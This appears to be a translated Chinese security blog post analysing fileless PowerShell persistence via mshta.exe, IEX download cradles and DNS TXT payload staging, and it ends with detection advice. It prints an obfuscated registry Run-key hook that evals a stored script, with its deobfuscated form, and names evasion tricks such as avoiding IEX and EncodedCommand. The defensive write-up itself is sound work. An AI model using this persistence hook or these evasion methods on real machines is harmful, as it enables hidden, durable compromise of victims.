PowerShell無文件持久化技術與常用的防御繞過技術
目前為止,PowerShell仍然是網絡安全專家進行防御和黑客進行攻擊的首選工具。原因很簡單,PowerShell具有很好的可擴展性,支持能力以及適應各種編程語言。如PowerShell Empire,PowerSploit等,都被安全研究人員以及黑客所使用。
這兩天,就有安全平臺檢測出了有惡意軟件利用PowerShell所進行的攻擊,該攻擊可以進行持久性攻擊并繞過傳統安全防護的檢測。惡意軟件會誘騙用戶對網站上的Adobe Flash瀏覽器插件進行更新,然后使用一個稱為mshta.exe的HTA攻擊方法。 MSHTA.exe是一個合法的Microsoft二進制文件,可以在任何瀏覽器中被調用,用于執行.HTA文件。不過在大多數情況下,對MSHTA.exe的擴展都屬于惡意擴展,所以我們建議開啟防火墻里所有阻止HTA擴展的功能。
目前利用MSHTA.exe進行攻擊的方法已經被列入社會工程學攻擊包(SET)多年了:
如果被MSHTA.exe攻擊了,就會發生上圖所列的那些情況。黑客可能是利用了VBS下載器,PowerShell,一個被下載和執行的二進制文件等等來執行的MSHTA.exe攻擊。
目前,在大多數情況下,這種釣魚網絡攻擊都能夠被檢測到,如下圖所示, 一旦網頁啟動了惡意HTA ,就能被立即檢測到。
一旦發生這種情況,PowerShell命令就會被執行,因為這個HTA會觸發了多個危險提示。通常,惡意HTA會觸發SYSWOW64降級攻擊,將進程降級為32位進程,從而給目標設備注入shellcode。
在我們對攻擊日志進行分析時,我們發現Invoke-Expression(IEX)是一種常用的攻擊技術,利用這種技術可以提取特定的注冊表項,并實現持久化的掛鉤( hook)。PowerShell攻擊是通過Invoke-Expression(IEX)調用.Net Web Client下載功能來下載瀏覽器上的PowerShell代碼并執行。不過,提取的注冊表項的名稱和持久性掛鉤都會在初始PowerShell調用中經過混淆處理。
在這個由Invoke-Expression引起的攻擊中,攻擊者會在CurrentVersion Run下的用戶配置文件下創建了一個注冊表項,以作為持久性掛鉤的起始位置。
通過研究持久性掛鉤的日志,我們發現混淆后的持久性注冊表掛鉤如下:
- HKEY_USERS:SANITIZED\Software\Microsoft\Windows\CurrentVersion\Run
- "C:\Windows\system32\mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCU\\software\\bkzlq\\zsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>"
反混淆后的持久化注冊表掛鉤如下:
- <script>
- WScript_Shell_Object = new ActiveXObject("WScript.Shell");
- Registry_Key_Value=WScript_Shell_Object.RegRead("HKCUsoftwarebkzlqzsdnhepyzs");
- eval(Registry_Key_Value);
- </script>
這一系列過程,就是我們本文所說的無文件攻擊技術,也稱為有效載荷傳遞攻擊技術,因為該攻擊技術不是直接將特定的有效載荷寫入文件的,而是通過運行注冊表項來在目標設備中實現持久化注入。
在文件攻擊技術中,mshta.exe會使用WScript.shell來調用嵌入了PowerShell命令的注冊表項。目前,這種無文件攻擊至今還無法被檢測到。不過,“無文件”并不是真的沒有文件的意思,而是指的有效載荷,關于什么是無文件惡意軟件,請點擊這里進行詳細了解。
使用目標設備的PowerShell和mshta,攻擊者可以使用傳統的攻擊技術來對目標設備進行惡意文件的下載及后門的安裝。通常黑客會使用Invoke-Expression(IEX)來進行繞過并使用PowerShell的“EncodedCommand”參數以躲避安全軟件的檢測。
最近,安全研究員Vincent Yiu就展示了一種通過PowerShell來繞過傳統檢測的方法,該方法沒有調用任何IEX和EncodedCommand。目前這種方法已開始被廣泛使用了,比如下圖這個例子,就是利用了“.”來調用calc.exe的。在這個例子中,由于沒有調用其他代碼,所以無需使用該代碼來分配變量。
那么,在這種情況下,網站的TXT將記錄下載PowerShell的命令,并通過nslookup在系統上執行該命令。這意味著我們可以把命令代碼注入到DNS中的TXT記錄中,并啟動PowerShell命令。
開頭我們所提到的那家安全平臺就可以就可以通過這種PowerShell的運行,來檢測出惡意運行。
如果檢測到nslookup以及通過nslookup提取代碼的行為,則該平臺就能立馬檢測到這種惡意行為,因為PowerShell內部使用的nslookup以及在txt記錄中的代碼都是惡意的。另外,上面例子中的“.”只能執行文件,而不是執行代碼本身。因此,我們還需要另一個命令,來執行從nslookup txt記錄中提取的代碼。
安全研究專家Daniel Bohannon給出了一種實現辦法,不過仍然需要用到IEX:
- $nslookupResult1 = 'iex'
- $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
- . $nslookupResult1 $nslookupResult2
- or even better:
- $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
- . $nslookupAllInOne[0] $nslookupAllInOne[1]
以下是在該平臺所識別出的一種特定攻擊模式:
預防措施
對于那些還沒有使用該平臺進行防護的組織來說,我們可以推薦一些方法來檢測PowerShell的這種無文件持久化行為,其實這種惡意行為并不僅限于某種特定的模式,例如IEX。下面我們就為你列出一些預防措施,讓你做到心中有數:
- 注意PowerShell命令的字符長度必要過大;
- 注意將PowerShell置于約束語言模式下的行為;
- 啟用增強的PowerShell日志記錄,例如腳本塊日志記錄;
- 經常對設備進行安全檢測;
- 注意minesweeper.exe的出現;
- 監控諸如IEX,EncodedCommand等的使用;
- 利用Sysmon等工具提高記錄功能,并檢測可能由可疑進程(PowerShell)引發的流程注入,
- 審查DNS日志并尋找可疑的控制命令和DNS請求;
- 查找不是源自powershell.exe和powershell_ise.exe的System.Management.Automation.dll和System.Management.Automation.ni.dll;
- 在正常情況下禁止普通用戶執行PowerShell命令(AppLocker +Device Guard可以防止普通用戶使用PowerShell)。